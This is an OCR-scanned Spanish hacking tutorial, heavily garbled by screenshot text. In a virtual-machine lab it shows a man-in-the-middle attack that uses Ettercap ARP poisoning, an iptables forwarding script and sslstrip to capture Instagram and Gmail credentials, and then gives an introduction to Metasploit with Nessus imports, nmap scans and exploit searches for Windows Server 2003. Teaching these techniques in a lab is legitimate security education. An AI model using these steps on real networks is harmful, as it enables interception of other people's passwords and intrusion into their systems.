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MAN IN
THE
MIDDLE

El atague Man In The Middle, o en espafiol Hombre en el Medio, consiste en
introducirse en la comunicacion entre dos equipos para que todo el trafico pase por
nosotros y poder asi desencriptar sus datos, contrasenas, etc.
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Para este tipo de ataques se necesitan dos maquinas victima, que bien podria ser
el servidor y un equipo de una red empresarial, o bien el router y el equipo de
nuestra victima real, ademas de nuestro propio equipo. Como no vamos a hackear a
nadie realmente, vamos a usar tres equipos o0 maquinas virtuales. Usaremos un Kali
Linux como atacante, ya que dispone de las aplicaciones necesarias para este tipo
de ataques y un Windows XP y un Windows 2003 Server ambos con dominio. Estos
dos ultimos pueden ser sustituidos por cualquier otras maquinas.

Lo primero que vamos a hacer es abrir el Ettercap-graphical en Kali y el WireShark.
Este ultimo programa es un potente sniffer de red, muy Uutil para los que trabajamos
administrando redes informaticas, ya sea para ver posibles ataques, o simplemente
para tener un mayor control del trafico de red, e incluso diagnosticar problemas de
red por exceso de trafico.

Para abrirlo vamos a Aplicaciones, Kali Linux, Husmeando, Envenenamiento de
redes y ettercap-graphical. El WireShark dispone de una guia de uso en la seccion
Manuales.

Aplicaciones Lugares mar 3 de feb, 12:59

W oricin
.

Pro IF #EmMacian b

-+

Ernvenenarmeento de Redes

Se abrira la siguiente pantalla.



ettercap 0.8.0

File Sndf Options ?

En el menu Sniff, pulsamos sobre Unified sniffing.

ettercap 0.8,0

File | ! Options  ?

! |

Bridged sniffing Mayiis+B

Set pcap filter,.,

Ahora si disponemos de mas de una tarjeta de red, o interface de red virtuales,
seleccionamos la correspondiente, en mi caso eth1. Debe ser el interface de red que
esté configurado con una IP dentro del rango de la victima, que légicamente
conoceremos 0 sera imposible atacar.

Para saberlo existen miles de aplicaciones, de dispositivos moviles o de ordenador,
cualquiera nos servira, si no podéis acudir a la guia de hackear wifi, donde se
muestran los comandos paso a paso para obtener esas IP.



File Sniff OCptions ?

ettercap Input

l a Network interface : |ethl v : 3
I Aceptar Cancelar NS u

Ahora nos apareceran nuevos menus. Le damos a Hosts y Scan for hosts para ver
que equipos existen en ese rango de IPs.

ettercap 0.8.0

Start Targets i‘u’iew Mitm Filters Logging Plugins ?

Hosts list H

Load from file.., Ctrl+0

Save to file... Ctri+5

Chs

33 plugins

4 2 protocol dissectors

57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Una vez finalizado, que no tarda apenas, damos de nuevo al menu Hosts y a Hosts
list para que nos muestre que equipos ha encontrado.



ettercap 0.8.0

Start Targets | _|"-"|tw Mitm Filters Logging Plugins 7

I

Scan for hosts Ctri+5

Load from file.. Ctri+0
Save to file.. Ctrl+5S m

Handomizing 255 hosts For scanning
Scanning the whole netmask for 255 hosts
2 hosts added to the hosts list

Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts..,
2 hosts added to the hosts list

Encuentra los equipos de la red, mostrando sus IP y sus direcciones MAC de las
tarjetas de red de cada equipo. Como veéis, la MAC siempre es diferente, no existen
dos iguales salvo que cambiemos una virtualizando esa direccion para falsearla.
Loégicamente las IP deben ser también diferentes o tendrian problemas de conexion.

— |3 .

ettercap 0.8.0

Start Torgets Hosts View Mitm Filters Logging Plugins 7

[ Host List W

IP Address MAC Address Description
192.168.20.15 08:00:27:4D:08.E9

192,168 20.31 08:00:27:13:E7; 2E

Delete Host Add to Target 1 Add to Target 2

HandomiZing £55 hosts for scanming
Scanning the whole netmask for 255 hosts
Z hosts added to the hosts List

Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts..

2 hosts added to the hosts list -

En mi caso la IP acabada en 31 es el Servidor y la 15 el Windows XP.

Ahora debemos arfadir objetivos, en este caso es muy simple, ya que soélo he
levantado dos maquinas virtuales a parte de la atacante. Simplemente marcamos
una de las dos victimas y le damos al botén Add to Target1. Después marcamos la
otra victima y damos al botén Add to target 2.
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emercap v.o.w
Start Targets Hosts WView Mitm Filters Logging Plugins 7
e
Host List W

IP Address MAC Address Description
192.168.20.15 08:00:27:40:08:E9

192.168.20.31 08:00:27:13:ET:2E

Delete Host Add to Target 1 _ Add to Target 2

£ hosts added to the hosts List

Randomezing 255 hosts for scanning,.
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list

Host 192.168.20.15 added to TARGET1
Host 192.168.20.31 added to TARGET 2

Ahora vamos a realizar un envenenamiento del protocolo ARP para que las
victimas se crean que soy la otra maquina de su red y me manden a mi su trafico.
Damos al menu Mitm y a Arp poisoning.

ettercap 0.8.0 -

- Start Targets Hosts "ul'lew[ !Fl-l.tﬂl'i Logging Plugns 7
ir::_.____:'."\
Host List W '

lemp redirect.,

IP Address MAC Address
192.168.20.15 O8:00: 274D

Dhep spoohing
LSLILACS: SO X z-————

Stop mitm attack(s)

Port stealing

Delete Host Add to Target 1 Add to Target 2

£ hosts added to the hosts list.

Randomizing 255 hosts for scanning,
Scanning the whole netmask for 255 hosts...
2 hosts added to the hasts list..,

Host 192.168.20,15 added to TARGET1
Host 192.168.20.3] added to TARGET 2

Nos saldra la siguiente pantalla, marcamos la opcién Sniff remote connections y
aceptamos.



Start Targets Hests View Mitm Filters Logging Plugins 7

| Host List W

IP Address MAC Address Description
B | 192168.20.15 08:00:27:4D:08:E9

192.168.20.31 08:00:27:13E7:ZE

MITM Attack: ARP Polsoning [como nobody)

g Optional parameters
¥ Sniff remote connections.
Only poison one-way,

Aceptar Lancelar
Delete Host Add to Target 2

£ hosts added to the hosts Uist
Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts,
2 hosts added to the hosts list

Host 192.168.20.15 added to TARGET1
Host 192.168.20.3]1 added to TARGET 2

Ahora dejamos nuestro sniffer esnifando el trafico. Damos a Start y a Start sniffing.

ettercap 0.8.0

‘ ! Targets Hosts View Mitm Filters Leogging Plugine ?

Stop sniffing Curl+E
5% Descripbon

Exit Crel+ X O-08:E9

192168.20.31 08:00:27:13:E7-2€

Delete Host Add to Target 1 { Add to Target 2 ,

ARP poisoning victims

GROUP 1:192.168.20.15 08: 00 274 D005:ES

I

| @ ewecoso .

Vamos al XP y ejecutamos el comando arp —a para ver que esté correcto. Esto se
hace en Inicio, Ejecutar y escribimos CMD. Nos saldra la pantalla negra o consola
donde vemos la diferencia del uso del comando arp —a antes y despues del
envenenamiento. La direccion IP acabada en 21 es la atacante, en este caso la Kali
Linux. En la primera ejecucion vemos que el Kali y el Windows Server tienen
diferentes IP y diferentes direcciones MAC. Tras la ejecucion del mismo comando
tras el envenenamiento ARP, vemos que el Windows XP cree que el Windows
Server tiene la direccion MAC del Kali :)

GROUP 2 : 192.168.20.31 08:00:27:13:E7: 2E I'%
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Con esto hacemos que el trafico dirigido al servidor, o router si fuese el

por nosotros.

v CIA\WINDOWS\system32\cmd.exe

IC :“Documents and SettingssAdministradorr>arp a

Interfaz: 192.168.280.15 Bx1868603
Diveccion IP Direccion fizica Iipo
192 .168.280.21 HE-BB-27-98-52—d1 dinamico
192.168.28. 31 ne-AR-27-13-e?-2e dindmico

C:svDocuments and SettingssAdministrador>arp —a
Interfaz: 192.168.28.15 —-—— Bx10803
Diveccidon [P Direccion fFisica Tipo
192 .168.20.21 #ag-a@-27-98-52-d1 dinamico
122.168.280.31 HE—8aB-27-28-52—d1l dinamico

IC:s\Documents and Settings“Administrador>

el

A Bl S o=

caso, pase

A &l meEraa

Si vamos al Windows Server y ejecutamos el mismo comando, comprobaremos
que todas las MAC seran las del Kali también tras el envenenamiento ARP, en este

caso la del Windows XP.

La que muestra con otra MAC es de una tarjeta de conexién a internet, que no
necesitamos envenenar, ya que solo queremos capturar el trafico entre ambas

maquinas.



S;turit';-'
Configurati. § . £\ WINDOWS\ system32\ cmd.exe

Microsoft Windows [Uersion 5.2.37981
(C) Copyright 1985-2883 Microszoft Corp.

C:xDocuments and Settings“Administrator>arp

Bx16883
Physical fAddress
C4-8-12-35-82

Interface: 18.8.2.15
Internet Address
ia.p. 2.2 G2

192 .168.28.31 — Bx18884
Physzical Address
A8-AA-27-98-52-d1
ag-Ap-27-98-52-d1

Interface:

C:xDocuments and Settings“Adminiztrator>_

Recycle Bin

d:start| | (@ @ € ||@ c\winDows\system...

— il

I ype
dynamic

I ype
dynamic
dynamic

Vamos ahora al Wireshark y lo ponemos a esnifar.
Lanzamos un ping desde la terminal del Windows XP al Servidor de Windows
(comando: ping 192.168.20.31). Vemos como las IP que aparecen solo son del XP y
el Servidor, no aparece el atacante por ningun lado.

A A AH) =) e
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Kal Linux [Comendo] - Oracle VM VirtualBox

Capturing from ethl [Wireshark 1.10.2 (SVN Rev 51934 from /trunk=1.10}] s "

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
=, & g i T T - -

©C@ 4l & XC qaerr2FREHBIvcoeR dVEE 8

Filter: ip.addreq192.168 2015 andip.addr eq 192168 203 ~ Expression Clear Guardar

Mo Timi Courc Destination Protacol Le '..I|:| Imt I
4 4, . - 168, 20.31 = reguest 1d=0x0200, Fp-
S 4.483513000 182.168.20.31 192.168.20.15 o 74 Echo (ping) reply 1d=0x0200, seq=72:
6 4.485265000 192.168.20.31 1892. 168.20.15 o 74 Echo (ping) reply 1d=0x0200, seq=79:
7 5. 4BRTI000 192.168.20.15 152, 168.20.31 ICHp 74 Echo (ping) reguest 1de0x0200, seqe=R1Et
B 5.485132000 152.168.20.15 152.168. 20,31 [ v 74 Echo (pang) request 1d=0x0200, seg=8H1¢t
0 5.485323000 192.168. 20,31 192.168.20.15 [CMP 74 Echo (ping) reply 1d=0x0200, seq=81ct
10 5. 4680492000 192.168.20,31 192.168.20.15 [ oM 74 Echo (ping) reply 1d=0x0200, seq=81t
11 6.487352000 192.168.20.15 152.168.20.31 It 74 Eche (ping) request 1d=0x0200, seq=B84:
12 6.4B8813000 152.168.20.15 152, 168.20.31 ICMP 74 Echo (ping) request 1d=0x0200, seq=84:

Internet Protocol Version 4, Src: 182.168.20.15 (192.168.20.15), Dst: 182.168.20.31 (192.168.20.31)
Internet Control Message Protocol

ODOD O8O0 27 13 47 2¢ OB OD 27 S8 52 d1 0B 00 45 00 ..'..... R E

0010 00 3c OS dc OO0 OO B0 01 B8b 66 cO a8 14 OF cO a8 oo T R K and

0020 14 1f 0B DO 2¢c Sc 0200 1f DOGl 6263 6465658 ...., ot - abcdef

B0 67 60 60 Sa 6b 6c 64 S Sf TO 7L T2 TATA TS TE ghijklmn opgrstuv
0paD F7 6] 62 63 648 65 66 6F 68 &9 wabcdefqg ha

O M ethl: <live capture in progress> Fil Packets: 141 - Displayed: 86 (61,0%) Profile: Default

| @ eercaposo & Cprungfromesa BN |
Ahora vamos a crear un archivo iptable.sh en la carpeta home o personal del root

para permitir que todo el trafico pase por el Kali, para eso creamos unas rutas en el
iptable o firewall por defecto del Kali Linux. Esto tambien se puede hacer con el
comando nano iptables.sh

Carpeta personal | —

Ir Marcadores Ayuda
iy Cacpeta personal. € % Qsuscar

Py —

Desktop

@

Debian.nessus

iptables.sh

—

Metasploit.txt

el

Downloads

Debian_wexklf. html

o

john-1.8.0-jumbo-1.
tar.gz

Metasploit_.Smibro,
htmi

-

jahn

Debian_xwO0l4e csy

jre-8u2S-linux-

i586.tar.qz

Metasploit_dj99kr
csv

-

john-1.8.0-jumbo-1

-

Hackertest.mtgx

kb_192.168.20.31.
txt

-

MFNyYVbc.jpeg

jrel . 8.0_25

Hackertest. nessus

Q-I

Metasploit.nessus

©

G

Server 2003.nessus

i

siptables.sh» seleccionado (O bytes)

Le copiamos lo siguiente dentro del archivo iptables.sh que hemos creado.
Podemos hacerlo por entorno grafico o desde linea de comandos con un editor, por

11



ejemplo el Nano con el comando sudo nano iptables.sh desde el directorio donde
deseemos crearlo.

- ——- =

OhNU nano Z.2.6 Ficharo: iptables.sh Modificado

MASQUERADE

Le cambiamos los permisos al archivo creado para evitar problemas desde la
terminal de comandos del Kali.

Archivo Editar Ver Buscar Terminal Ayuda
/77 iptables.sh

Ejecutamos el archivo creado.

Archivo Editar Ver Buscar Terminal Ayuda
./iptables.sh

% i

Ahora pasamos al Ettercap.
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cttercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugns 7
| Host List M
IP Address MAC Address Description

192.168.20.15 08:00:27:4D:08:E9
192.168,20.31 08:00:27:13:E7:2E

Delete Host | Add to Target 1 Add to Target 2

160/4 mac vendor hingerprint
1766 rep OS5 Angerprint
2182 known services

Randomizing 255 hosts for scanning
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list.. H

Anadimos las dos direcciones como target 1 y 2 y hacemos el envenenamiento
ARP como antes y volvemos a esnifar como ya hemos hecho.

ettercap 0.8.0

Il"-'c'rl: IE_'_E'J;H'L.:N

Start Targets Hosts Wiew Mitm Filters Logging Plugns ?

F -
Host List W

IP Address MAC Address Description

192.168.20.15 08:00-27:4D:08:E9
192.168.20.31 OB:00:2T7:13:ET:2E

———

Delete Host Add to Target 1 Add to Target 2

GROUP 1:192.168.20.15 08:00:27:4D:08:E9

GROUP &:192.168.20.31 08:00: 27 13ET: 2E
Starting Unified sniffing.. H

Hacemos un ssistrip desde la consola de comandos del Kali para que las webs
SSL (https) se conviertan en simples hitp y el Ettercap pueda obtener las

contrasefias. Para ello escribimos lo siguiente.
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Iceweasel root@kali: ~

Archivo Editar [REEEEELNEIRERTES Ayuda

sslstrip -f -1 10000

by Moxie Marlinspike Nl

Ahora vamos al Windows XP y entramos por ejemplo a la web de Instagram.

“ C | [ instagram.com =
fray asd
DIRECT
Captura y comparte
=55
‘ momentos con gente
de todo el mundo
& CroysrEngharm
o Instagram es una forma rapida, genial y divertida de
6 P e compartir tu vida con amigos y familiares
Haz una foto o un video, elige un filtro para transformar su
9 Pty aspecto y, a continuacion, publicalo en Instagram Es asi de
facil, Incluso puedes compartirlo en Facebook, Twitter,
. Tumbir y otros sitios. Es una nueva manera de ver el
h sarp
‘g“ ;- mundo
, -

14



Instagram

Nombre de cursoseguridad
usuario:

Contrasena:

AEERSEEEEE ‘

;Has olvidado tu contrasefa? Iniciar sesion

:;Necesitas una cuenta?
Descarga la aplicacion para registrarte.

Consiguelo en el DISPONIBLE EN

. App Stﬂre L iﬂﬂ.l:.ﬂt play

Nos vamos al Ettercap y vemos el enlace del Instagram, usuario y contrasena, en
este caso cursoseguridad y Seguridad. Ya lo tenemos :)

ettercap 0.8.0 :!r,_ﬂulu:néw_,;
Start Targets Hosts View Mitm Filters Logging Plugins 7
Hast I.,;t_;-
IP Address MAC Address Description

192.168.20.15 08:00:27:4D:08:E9

192.168.2031 080027 10ET - 2E

Delete Host Add to Target 1 Add to Target 2

Starbing Undhed sndfing.. =

: 54.165191.152:80 -> USER: cursosaguridad PASS: Seguridad INFO: http:/finstagram. comfaccountefl ogin/sjax/?target Ongin=http://
SLageam.com

ONTENT: username=cuf soseqguridadipatsword=Sequridad

Ahora probamos con gmail por ejemplo y vemos que también funciona.
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ettercap 0.8.0 =Lt ]

Start Targets Hosts View Mitm Filters Logging Plugins ?
¥ =
Host List W

IP Address MAC Address Description
192.168.20.15 08:00:27-4D:08E9
192.168.20.31 08:00:27:98:52:01 servidorw 2003 cursosegquridad. com

Delete Host Add to Target 1 Add to Target 2

L1ADLqd JohwixplOT I SYkbwV ZcqgB AR YHI CoBKkUELFudMIq5zUWobHEe W ILMREBSAptu I BLeS 2T YN S qiqNIL Lk L T P2 5xtLlrBRuEmM AUl |
\ 'nguHrB-HHhT3F9ngSnm4EDu\.ftU Yikx JemikART 7 ATWPANKWNESaM4 J ZXRM e PsMUaGyl 8g6 . YHakaNmO R TMm-
T T223XUGaQYFEGcLALZ1RROORGHIY--1FrOPeQrakAgd srenpns 34 X7 ixa_xrT98r 8eF 33gONxrfuPfeWGDYITnWPtczs X Bypac SaHLYglwKBgO Cl
VUSic@2zmWgXSgPTrwRGmdM TVHgbhGzM _ DBZngUﬂGI‘ngG‘?EF-‘Gpu3ﬁﬂanm4: -ghzoZ7m-
GBPE&DHE;E QRgEEmail = Sl #:-37 TalF 3

Esignin=Inkciar+sasi¥ CI%B Ink Persistent Cookie=yes&rmShawn=1 !j

Como vemos se observa en abierto la cuenta de mail y su correspondiente
contrasernia.

Ahora abrimos el Wireshark y esnifamos de nuevo. Nos mandamos un mail desde
el Windows XP a nosotros mismos para probarlo. Nos mostrara muchos paquetes
de trafico.

*othl [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10}]

File Edit View Go Capture Analyze OStatistics Telephony Tools Internals Help

e e p——— _
. _ —~ " - I, ;
e® 4 W - XEC @ 1?![3_,-,E]iff]@+ s
Filter: | http.request.method == F{15T| v  Eupression... Clear Apply Guardar
Mo THhrmid SO Destination Prataocal I_-.-r|3‘_| Inf
<8 5.841823300 192.168.20.15 Z16.58.210. 165 TP 435 [TCP segment of a reassembled POU]
£9 5. 842143000 215.58.210. 165 192, 168.20. 15 TP 54 http > rramwm [ACK] Seq=l Ack=1842 Win=

192.168.20.15 £16.58. 210.165

31 5.842377000 216.58.210.165 192.168,20. 15 TCP 54 http = rrimem [ACK] Seg=1 Ack=2731 Win=

43 &.804738000 216.58.210.165 192.168.20.15 1156 HTTP/1.1 302 Moved Temporarily (text/sk

Transmission Control Protecol, Src Port: rrimwm {(1684), Dst Port: http (80}, Seq: 1B43, Ack: 1, Len: BBS

T PR——— . NS F e . —— N Y [ Pam— - PR S L e meremel LW LS N

0000 0O DO 27 98 52 dl r;s 00 27 4d 0B e9 08 'r?é-' a5 00 .. .R... 'M....E. 3
Qo100 03 ad 24 37 at; 00 BO D& S3 B9 c0 a8 14 Of da 2a ESEL . AR - LR I
0020 d2z a5 06 e 00 50 35 &6f Sd 4d 90D cO B89 9d SO 18 ..... S, .M....P.

poean fa fo s 17 0000 3d 2d  Sd Sd S5d Sd 2d Sd Sd e S
Frame (94 2 bytes) |Reassembled TCP (2730 bytes)

@ * File: “/tmp/wireshark_pcapng_sethl... - Packets: 105 - Displayed: 14 {13,3%) - Dropped: 0 (0,0%) - Profile: Default

Para evitar ver otros paquetes que no sean las solicitudes del mail, ponemos en el
filtro http.request.method == POST y damos a Apply. Ya solo nos mostrara el
paquete deseado.

Damos boton derecho del raton sobre ese paquete y en Follow TCP Streem.
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[ ==
*ethl [Wireshark 1.10.2 (SVHN Rev ! | = 1 0 [ X
Mark Packet (toggle)

File Edit View Go Capture Analyze Statistics Telephony Ti

Ignore Packet (toggle)

4 — 0 ; = s
©COAN: SE X C QA €D AT o rimereference (toggle) QAN < EO 5
F
Filter: | http.request.method == POST T R
Packet Comment
| Mo Time Coaurce Destination
30 5.842164000 192.168.20.15 Manually Resoive Address
Apply as Filter »
Prepare a Filter »
Conwersation Filter *
Colorize Conversatian >
» Transmission Control Protocel, Src Port: rrimwm (1604), De 1, Len: B8\8
| o N N . [ [ N R S T . M. S~y L | ol )
|ODD0O 08 OO0 27 98 52 dl 08 00 27 4d 08 &% 08 00 45 00 iy
0010 03 aD 24 37 40 00 B0 O6 S3A B89 ¢0 48 14 of d8 38  ..% I
|002ﬁ d2 a5 06 92 00 S0 35 8f 9d 4d 90 co 89 9d S0 18 CELAE Copy *
inoan  fa f0 s 17 Qo o0 2d 34 Sd 2d 2d od od ad od od
| Frame (942 bytes) ' Reassembled TCP (2730 bytes) Protocol Preferences »
@ ® File: “tmp/wireshark_pcapng_ethl... Packets: 105 Displayed- 11 ~ ;S " Jefault

Y vemos en el contenido del paquete, quien manda el mail, a donde, el asunto y el
contenido del mail, todo ello en rojo, en este caso se lee Prueba de correo como
asunto y Hola como contenido, pero subiendo un poco muestra el origen y destino
del correo.

| 11 1
Follow TCP Stream N i i e ]

File | Stream Content

............................. PO LS e 3 a
P f
: form-data; name="cc*® [ 5 (' G;

----------------------------- 7df 193630202
: form-data; name="bcc*

----------------------------- 7df 193 302a2 reassembled PDU)
: form-data; name=*subject* | Seq=1 Ack=1843 win

| E Seq=1 Ack=2731 win

et = = el - 7ot 1933022

Content-Disposition: form-data; mame=*body® Temporarily (text/|

[rasmesosnassosannssansonsasns 7df 193030202 -
¢ Tra HITP/1.1 302 Moved Temporarily

. Lo
Q000
0010
0020 Buscar Guardar como bmperirmar ASCII EBCDIC Hex Dump CArrays @ Raw
O

Fram

A Ayuda Filter Qut This Stream Cerrar

O -

Entire conversation (3832 bytes) w

L

Y bueno, asi con todo, una vez en medio, ya todo lo que trasmita estara a nuestra
merced. Este es con diferencia uno de los métodos mas usados por los hackers.
Para entrar en la red, suelen aprovechar las vulnerabilidades, principalmente el Wifi,
y una vez dentro pueden hacer todo lo que desean, incluso hacerse administradores
de los sistemas usando herramientas como MetaSploit.
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Metasploit

MetaSploit es una suite o conjunto de programas en realidad. Esta disefiada para
explotar las vulnerabilidades de los equipos y es sin duda el programa mas usado
por los mejores hackers del mundo. Dentro de MetaSploit, disponemos de multitud

18



de herramientas y programas para ejecutar en las diferentes vulnerabilidades de
cada equipo, a cada una de estas aplicaciones se le llama exploit.

Primero vamos a arrancar nuestra Kali Linux y le configuramos la red con una IP
estatica dentro del rango de red de la victima con sudo nano /etc/network/interfaces.

GHU mnano 2.0.7 File: retc/network-interfaces

# This file describes the network interfaces available on your systenm
and how to activate them. For more information, see interfacesl(d).

The loopback network interface
auto lo

iface lo inet loopback

# The primary network interface
auto etho

[ Hrote 14 lines 1]

sfadninPrnetasploitable:™$5

@ o oef L uE & [#] CTRL DERECHA
Cada vez que hagamos modificaciones de red, debemos reiniciarla. Si hacemos un
ifconfig y sigue sin asignarnos la IP que le hemos puesto, reiniciamos Kali.

sfadminPnetasploitable: ™S sudo setcrsinit.dsmetworking restart
« Reconfiguring network interfaces...
sfadnin@netasploitable:™5

Ahora necesitaremos los logs de algun programa de deteccion de vulnerabilidades
como el Nessus o el Openvas que hayamos usado anteriormente. Existe una guia
sencilla de Nesus donde viene como obtenerlo paso a paso.

Abrimos Metasploit en Aplicaciones, Kali Linux, Servicios del sistema, Metasploit,
Community pro start.
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Aplicaciones Lugares f k] mié 14 de ene, 12:32

Nos arrancara sin problemas.
root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

| ] Starting PostgreSQL 9.1

Configuring Metasploit...

Creating metasploit database user

Creating metasploit database -

insserv: warning: current start of ' overr
LSB defaults (2 3 4 5).

insserv: warning: current stop runlevel(s) (G 2 3 5 6) of script "metasploit
overrides LSB defaults (0 1 6).
Starting Me )
Starting Metasp
Starting Metasp
=1

Ahora vamos a crear la consola msf o de Metasploit. Tardara un rato amplio, luego
pasado unos minutos empezara a crear las tablas.
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root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda
L for serial column "metasp
CREI / PRIMARY KEY will
ntial_origin_sessions_pkey" for table "metasploit_credential_origin
NOTICE: CREA AB N create implicit s “metasploi
n_services_id_seq" for serie umn "metasploit_credential
NOTICE: AB / PRIMARY KEY will ci1 te implicit inc
ntial_origin_services_pkey" for table "meta oit_credential
NOTICE: CREATI ABLE will create implicit seguence
_id_s or rrial column "metasploit_credential_cores.ic
NOTICE: CREA ABLE / PRIMARY KEY will create implicit index
ntial cores pkey" for table "metasploit c ntial cores”
will create implicit sequence “"metasploit credential login
column “"metasploit_credential logins.id" -
PRIMARY KEY will create implicit index "metasploit crede
for table "metasploit credential logins" =
cr sequence “metasploit _credential origi

create implicit index "metasploit crede

for table "metasploit credential_origin cra

L Y
=5

[*] The initial module cache this can take 2
minutes...

Y finalmente sale la linea de consola.

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

ntial origin cracked passwords pkey" for table "metasploit credential origin cra
cked passwords’

[*] The initial module cache will be built in the background,

minutes. ..

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro = more an/http:// rapid/.¢com/metasploit

- 743 auxiliary - 2
35 encoders 3

ads )
asploit Pro trial: http://r

Para ver la lista de comandos usamos la interrogacion hacia abajo.
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root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Show the framework and console library version numbers

ist all credentials in the database
db connect Connect to an existing database

db_disconnect Disconnect from the current database instance

db export Export a file containing the contents of the database

db import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically

db rebuild cache Rebuilds the database-stored module cache

db status Show the current database status

hosts List all hosts in the database

loot List all loot in_Lthe databasa

rnotes List all notes in the database

services List all services in the database

vulns List all vulrmnerabilities in

workspace

Una cosa importante son los Workspace o lugares de trabajo, si ejecutamos
workspace, entra en nuestro entorno de trabajo por defecto.

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

List all credentials in the database
Connect to an existing database
X Disconnect from the current database instance
db export Export a file containing the contents of the database
db import Import a scan result file (filetype will be auto-de
db_nmap Executes nmap and records the output automatically
db_rebuild cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
List all services 1in| the database
List all vulnerabilities in the database
workspace Switch between database workspaces

msf > workspace

* default

msf > |

Creamos otro workspace para atacar un Windows XP y vemos que se ha creado.
Para ello ponemos workspace —a WInXP.
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root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

List all credentials in the database

db_connect Connect to an existing database

sconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the data

loot List all loot in the databa:
notes List all notes in the database

sarvices List all services in the database
vulns List all wvulnerabilities in the database
Sswitch between database workspaces

-a WinxP
c WinXP
msf > workspace
default

Creamos varios, uno por cada maquina virtual que tengamos y que queramos
atacar.

root@kali: ~

Archive Editar Ver Buscar Terminal Avyuda
List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database

-8 WinXP
WinXxpP

default
* WinXP
msf > worksp

Added w ace SE
> workspace -a MetaSploit
MetaSploit
-a Debian
Debian

mstf > worksp
default
WinxpP
Serverz2003
MetaSploit
* Debian

msf >
El asterisco marca el que esta activo en este momento. Para cambiarlo se hace
workspace y el nombre del workspace al que deseamos acceder.
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root@kali: ~

Archivo Editar Vear Buscar Terminal r:\'_..'LJL'ld
db_rebulild cache Rebullds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the datab

notes List all notes in the database

services List all services in the database

vulns List all vulnerabilities in the database
workspace Sswitch between database workspaces

msf > workspace
default

WinXP
Server2063
MetaSploit

* Debian

Damos un Is para ver el nombre de los archivos a importar del Nessus que salve
anteriormente. En este caso para no complicarme los meti en el Home del root, que
es desde el directorio qgue me arranca Metaspiloit.

root@kali: ~

Archivo Editar Ver Buscar Terminal Avyuda

1s

Debian.nessus
Debian w 1f.html
Debian_xw@lde.csv
Desktop

Hackertest .mtgx

Metasploit Smi6ro.html
Metasploit_dj99kr.csv

1t .txt
3 fjinuhn.html

~chl@dy .html
WindowsXP .nessus
Windows XP_ocpobh.csv
IK{PSP2 . xml
msf >
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Ahora importamos el archivo del Nesus del Windows XP con el comando
db_import al workspace en el que estamos.

root@kali: ~

Archivo Editar Ver Buscar Terminal Awyuda

Debian.nessus
Debian_wexklf.html
Debian xwBlde.csv
Desktop

Hackertest .mtgx

_Smibro.html
sploit dj99kr.csv

Metasploit .nessus

xLinuxAdditions. run
wWindow d Y. nt ITI-L
wWind P S

6h.csv

Importing 'Nessus XML (v2)' data
Importing host 192.168.20.182
Successfully imported /root/WindowsXP .nessus

Ahora entramos en el workspace del Server2003 y vemos con el comando hosts
los equipos que descubrimos con el Nessus.

root@kali; =

Matasplo 4
Matasploit

Ahora usamos el comando db_nmap —v —A y la IP del equipo para ver los puertos
abiertos de la victima.
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root@kali: ~

ivo Editar Ver Buscar Terminal Ayuda

NSE ; G
Initiat
o annir

Nmap *
Nmap
Nmap
Nmap
MNmap :
Nmap :
Nmap :
Nmap :
MNmap
Nmap
Nmap
Nmap ;
Nmap :
Nmap :
Nmap

hm

Los comando del db_nmap, son los mismos que con el programa Nmap. En
MetaSploit para obtener ayuda de un comando escribimos help comando (ejemplo:
help workspace), pero en los externos como es el db_nmap, usaremos comando -h
(ejemplo: db_nmap —h).

root@kali: =

Archiwvo Editar Ver Buscar Terminal Avuda

reguast
Ping

Always resolve [default: sometimes]
a

Speqify rcustom DNS sarvars
to -aach host

ACK /Window/Maimon

n fla as

El comando services nos muestra los servicios abiertos de la victima.
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root@kali: =

Archivo Editar Ver Buscar Terminal Ayuda

FOR MORE OPTIONS AND EXAMPLES

El comando vulns nos mostrara las vulnerabilidades del archivo obtenido por el
Nessus, el Openvas, etc.

root@kali: =

q
T
m
()
El
.
=
L
o

uscar Terminal Ayuda

Scan Information

T T nr
MamE=NesslIsS

nane=Common Platform Enumerat

name=LDAP Crafted Search Request
name=LDAP Crafted Search Request Server
name=L0AP-Sarver

= A LT R T

! : ) ; 0.3 | (NTP) ¢
El comando search nos ayuda a buscar moédulos del MSF (Metasploit). Por
ejemplo, si necesitamos un moédulo para atacar una vulnerabilidad DNS, ponemos

search dns y vemos de que modulos disponemos y su ubicacion.
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root@kali: =

Archivo Eoitar WVer Duscar Termimal Ayuda

Disclosure Date

y/dos/mdns/avahl_

ry/dos/windows,/LLmnr
SAPI .dl1l LLMNR Buffer

Liary/fuzzers/dns/dns f

y/gathear

gathar/:
1 Scr apear
auxiliar ¥/ gather/dns J
ormation Enumeration
auxiliary/gather/dns
pokup Enumeration
auxiliary/fgather/dns srv
rvice Record Enumeration
auxiliar y/gather/enum dns
wmerator -

SCannarnr/i

Uno de los exploits mostrados es el
exploit/windows7dcerpc7ms07_ 029 msdns_zonename que explota una
vulnerabilidad del DNS de los Windows 2000 y 2003 servers mediante el protocolo
RPC en los controladores de dominio. Este exploit realiza un ataque DoS o de
denegacion de servicio que permite tumbar al servidor.

En 2003 Server tenemos una vulnerabilidad grave llamada ms08, la buscamos.

root@kali: =

COrfUpTLaNn

